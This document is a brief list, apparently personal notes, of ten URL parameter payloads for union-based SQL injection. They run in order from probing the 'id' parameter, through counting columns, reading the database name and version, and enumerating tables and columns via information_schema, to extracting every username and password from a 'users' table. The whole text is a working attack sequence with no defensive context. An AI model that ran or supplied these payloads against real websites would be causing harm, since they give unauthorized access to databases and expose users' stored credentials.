Some SQL Injection

1. ?id=1
2. ?id=1' --+
3. ?id=1' Order by 1 --+
4. ?id=-1' union select 1,2,database() --+
5. ?id=-1' union select 1,version(),database() --+
6. ?id=-5' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1--+
7. ?id=-5' union select 1,column_name,3 from information_schema.columns where table_name="users"--+
8. ?id=-5' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
9. ?id=-5' union select 1,group_concat(column_name),3 from information_schema.columns where  table_schema=database() and table_name="users"--+
10. ?id=-5' union select 1,group_concat(username), group_concat(password) from users--+